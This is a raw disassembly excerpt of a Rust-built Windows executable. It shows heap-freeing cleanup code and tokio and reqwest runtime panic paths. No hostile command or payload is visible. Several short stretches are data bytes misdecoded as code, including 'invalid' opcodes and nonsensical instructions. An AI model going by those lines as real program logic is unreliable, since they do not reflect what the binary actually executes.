mov rax, qword [rcx + rax*8]
mov byte [rax + 0x12e], 2
cmp dword [rax + 0x120], 0
jne 0x14004f596
call fcn.1400fdc80
mov eax, dword [0x140194314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov dword [rax + 0x120], 1
movlps qword [rax + 0x124], xmm6
lea rcx, [rsp + 0x260]
call fcn.140102160
mov rax, qword [rsp + 0x260]
cmp rax, 2
je 0x14004f612
test rax, rax
je 0x14004f5f7
mov rax, qword [rsp + 0x268]
lock dec qword [rax]
jne 0x14004f612
lea rcx, [rsp + 0x268]
call fcn.140043390
jmp 0x14004f612
mov rax, qword [rsp + 0x268]
lock dec qword [rax]
jne 0x14004f612
lea rcx, [rsp + 0x268]
call fcn.1400432d0
cmp byte [rsp + 0x250], 3
jne 0x14004f950
cmp byte [rsp + 0x248], 3
jne 0x14004f950
cmp dword [rsp + 0x110], 2
jne 0x14004f6b4
mov rsi, qword [rsp + 0x118]
test rsi, rsi
je 0x14004f935
mov rdi, qword [rsi + 0x58]
test rdi, rdi
je 0x14004f67e
mov rbx, qword [rsi + 0x60]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x14004f67e
cmp qword [rbx + 0x10], 0x11
jb 0x14004f66d
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140194260]
xor edx, edx
mov r8, rdi
call sub.kernel32.dll_HeapFree
mov rax, qword [rsi]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x14004f924
test rax, rax
je 0x14004f924
mov r8, qword [rsi + 8]
mov rcx, qword [0x140194260]
xor edx, edx
call sub.kernel32.dll_HeapFree
jmp 0x14004f924
cmp byte [rsp + 0x208], 0xa
jb 0x14004f6df
cmp qword [rsp + 0x218], 0
je 0x14004f6df
mov r8, qword [rsp + 0x210]
mov rcx, qword [0x140194260]
xor edx, edx
call sub.kernel32.dll_HeapFree
cmp qword [rsp + 0x198], 0
je 0x14004f700
mov r8, qword [rsp + 0x1a0]
mov rcx, qword [0x140194260]
xor edx, edx
call sub.kernel32.dll_HeapFree
cmp qword [rsp + 0x188], 0
je 0x14004f721
mov r8, qword [rsp + 0x180]
mov rcx, qword [0x140194260]
xor edx, edx
call sub.kernel32.dll_HeapFree
mov rdi, qword [rsp + 0x160]
test rdi, rdi
je 0x14004f775
mov rsi, qword [rsp + 0x158]
add rsi, 0x30
jmp 0x14004f75b
mov rax, qword [rsi - 0x18]
mov rdx, qword [rsi - 0x10]
mov r8, qword [rsi - 8]
mov rcx, rsi
call qword [rax + 0x10]
add rsi, 0x68
dec rdi
je 0x14004f775
mov rax, qword [rsi + 0x10]
test rax, rax
je 0x14004f740
lea rcx, [rsi + 0x28]
mov rdx, qword [rsi + 0x18]
mov r8, qword [rsi + 0x20]
call qword [rax + 0x10]
jmp 0x14004f740
cmp qword [rsp + 0x150], 0
je 0x14004f796
mov r8, qword [rsp + 0x158]
mov rcx, qword [0x140194260]
xor edx, edx
call sub.kernel32.dll_HeapFree
mov rdi, qword [rsp + 0x178]
test rdi, rdi
je 0x14004f7cb
mov rsi, qword [rsp + 0x170]
add rsi, 0x38
nop
mov rax, qword [rsi - 0x18]
mov rdx, qword [rsi - 0x10]
mov r8, qword [rsi - 8]
mov rcx, rsi
call qword [rax + 0x10]
add rsi, 0x48
dec rdi
jne 0x14004f7b0
cmp qword [rsp + 0x168], 0
je 0x14004f7ec
mov r8, qword [rsp + 0x170]
mov rcx, qword [0x140194260]
xor edx, edx
call sub.kernel32.dll_HeapFree
cmp qword [rsp + 0x110], 0
je 0x14004f81f
mov rax, qword [rsp + 0x118]
test rax, rax
je 0x14004f81f
lea rcx, [rsp + 0x130]
mov rdx, qword [rsp + 0x120]
mov r8, qword [rsp + 0x128]
call qword [rax + 0x10]
mov rsi, qword [rsp + 0x200]
test rsi, rsi
je 0x14004f863
mov rdi, qword [rsp + 0x1f8]
add rdi, 8
jmp 0x14004f849
add rdi, 0x58
dec rsi
je 0x14004f863
cmp qword [rdi - 8], 0
je 0x14004f840
mov r8, qword [rdi]
mov rcx, qword [0x140194260]
xor edx, edx
call sub.kernel32.dll_HeapFree
jmp 0x14004f840
cmp qword [rsp + 0x1f0], 0
je 0x14004f884
mov r8, qword [rsp + 0x1f8]
mov rcx, qword [0x140194260]
xor edx, edx
call sub.kernel32.dll_HeapFree
mov rax, qword [rsp + 0x220]
lock dec qword [rax]
jne 0x14004f89f
lea rcx, [rsp + 0x220]
call fcn.1400419d0
mov rsi, qword [rsp + 0x228]
mov rdi, qword [rsp + 0x230]
mov rcx, rsi
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x14004f8d7
cmp qword [rdi + 0x10], 0x11
jb 0x14004f8c6
mov rsi, qword [rsi - 8]
mov rcx, qword [0x140194260]
xor edx, edx
mov r8, rsi
call sub.kernel32.dll_HeapFree
mov rsi, qword [rsp + 0x240]
test rsi, rsi
je 0x14004f935
mov rcx, rsi
call fcn.1401029b0
lea rcx, [rsi + 8]
cmp qword [rsi], 0
je 0x14004f906
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x14004f914
call fcn.140043390
jmp 0x14004f914
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x14004f914
call fcn.1400432d0
mov rax, qword [rsi + 0x48]
test rax, rax
je 0x14004f924
mov rcx, qword [rsi + 0x50]
call qword [rax + 0x18]
mov rcx, qword [0x140194260]
xor edx, edx
mov r8, rsi
call sub.kernel32.dll_HeapFree
mov rax, qword [rsp + 0x108]
lock dec qword [rax]
jne 0x14004f950
lea rcx, [rsp + 0x108]
call fcn.1400419d0
movaps xmm6, xmmword [rsp + 0x9e0]
add rsp, 0x9f8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
ud2
mov qword [rsp + 0x2a8], r12
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_async_implclient.rs
mov qword [rsp + 0x20], rax
lea rcx, str.Client::new__
lea r9, [0x1401537c8]
lea r8, [rsp + 0x2a8]
mov edx, 0xd
call fcn.140117ef0
mov ecx, 8
mov edx, 0x70
call fcn.1401178d0
lea rcx, str.Pending_error_polled_more_than_once
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_async_implclient.rs
mov edx, 0x23
call fcn.140117fa0
mov ecx, 1
mov edx, 1
call fcn.1401178d0
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimepark.rsinconsistent_park_state__actual_
mov qword [rsp + 0x20], rax
lea rcx, [0x140183346]
lea r9, [0x14015f838]
lea r8, [rsp + 0x3e]
mov edx, 0x2b
call fcn.140117ef0
lea rcx, [0x14015d618]
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_timeentry.rs
mov edx, 0x73
call fcn.140117fa0
lea rcx, str.src_main.rs
call fcn.140118170
imul eax, ecx, 0x64
mov qword [rsp + 0x2a8], rdx
mov dword [rsp + 0x2b0], eax
lea rax, str.src_main.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x140183346]
lea r9, [0x14014c920]
lea r8, [rsp + 0x2a8]
mov edx, 0x2b
call fcn.140117ef0
mov qword [rsp + 0x640], rax
lea rax, [rsp + 0x640]
mov qword [rsp + 0x520], rax
lea rax, [fcn.1400084f0]
mov qword [rsp + 0x528], rax
lea rax, [0x14015f8e0]
mov qword [rsp + 0x2a8], rax
mov qword [rsp + 0x2b0], 1
mov qword [rsp + 0x2c8], 0
mov qword [rsp + 0x2b8], r15
mov qword [rsp + 0x2c0], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimepark.rsinconsistent_park_state__actual_
lea rcx, [rsp + 0x2a8]
call fcn.140117b70
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov qword [rsp + 0x20], rax
lea rcx, str.size_overflows_MAX_SIZE_
lea r9, [0x140153768]
lea r8, [rsp + 0x3e]
mov edx, 0x17
call fcn.140117ef0
lea rcx, str.src_main.rs
call fcn.140118170
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.140117e30
lea rcx, str.core_missing
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
mov edx, 0xc
call fcn.140117fa0
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.140117e30
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
mov qword [rsp + 0x20], rax
lea rcx, str.Failed_to__Enter::block_on_
lea r9, [0x14014c858]
lea r8, [rsp + 0x3e]
mov edx, 0x1b
call fcn.140117ef0
mov qword [rsp + 0x2a8], r14
jmp 0x14004f976
lea rax, str.Cannot_start_a_runtime_from_within_a_runtime._This_happens_because_a_function__like__block_on___attempted_to_block_the_current_thread_while_the_thread_is_being_used_to_drive_asynchronous_tasks.
mov qword [rsp + 0x2a8], rax
mov qword [rsp + 0x2b0], 1
mov qword [rsp + 0x2b8], 8
xorps xmm0, xmm0
ror byte [rdi], 0x11
test byte [rax + rax*8], ah
add al, byte [rax]
add byte [rax - 0x73], cl
adc eax, 0xd464b
lea rcx, [rsp + 0x2a8]
call fcn.140117b70
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontextcurrent.rs
call fcn.140117e30
lea rax, str.reached_max__enter__depth
mov qword [rsp + 0x2a8], rax
mov qword [rsp + 0x2b0], 1
mov qword [rsp + 0x2b8], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x2c0], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontextcurrent.rs
jmp 0x14004fc0e
add byte [rax - 0x73], cl
mov word [rax + rbp*4], fs
add al, byte [rax]
add al, ch
jg 0x14004fc17
invalid
lea rax, str.not_a_CurrentThread_handle
mov qword [rsp + 0x2a8], rax
mov qword [rsp + 0x2b0], 1
mov qword [rsp + 0x2b8], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x2c0], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermod.rs
add byte [rax - 0x73], cl
mov word [rax + rbp*4], fs
add al, byte [rax]
add al, ch
invalid
jg 0x14004fc5d
invalid
lea rcx, str.assertion_failed:_c.runtime.get__.is_entered__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontext_runtime.rs
lea r8, [0x14015ea08]
mov edx, 0x2e
call fcn.140117c40
imul eax, ecx, 0x64
mov qword [rsp + 0x2a8], rdx
mov dword [rsp + 0x2b0], eax
lea rax, str.src_main.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x140183346]
lea r9, [0x14014c980]
lea r8, [rsp + 0x2a8]
mov edx, 0x2b
call fcn.140117ef0
lea rax, str.expected__CurrentThread::Context_
mov qword [rsp + 0x2a8], rax
mov qword [rsp + 0x2b0], 1
mov qword [rsp + 0x2b8], 8
movups xmmword [rsp + 0x2c0], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
lea rcx, [rsp + 0x2a8]
call fcn.140117b70
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.140117e30
lea rcx, str.core_missing
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
mov edx, 0xc
call fcn.140117fa0
lea rax, str.a_spawned_task_panicked_and_the_runtime_is_configured_to_shut_down_on_unhandled_panic
mov qword [rsp + 0x2a8], rax
mov qword [rsp + 0x2b0], 1
mov qword [rsp + 0x2b8], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x2c0], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
lea rcx, [rsp + 0x2a8]
call fcn.140117b70
lea rax, [0x14015e6b0]
mov qword [rsp + 0x20], rax
lea rcx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destruction_rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_std_src_threadlocal.rs
lea r9, [0x14015e5f8]
lea r8, [rsp + 0x3e]
mov edx, 0x46
call fcn.140117ef0
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.140117e30
lea rcx, [0x14015d700]
call fcn.140117e90
mov rcx, r14
call fcn.14004fdd0
lea rax, [0x14015e6b0]
mov qword [rsp + 0x20], rax
lea rcx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destruction_rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_std_src_threadlocal.rs
lea r9, [0x14014c858]
lea r8, [rsp + 0x3e]
mov edx, 0x46
call fcn.140117ef0
int3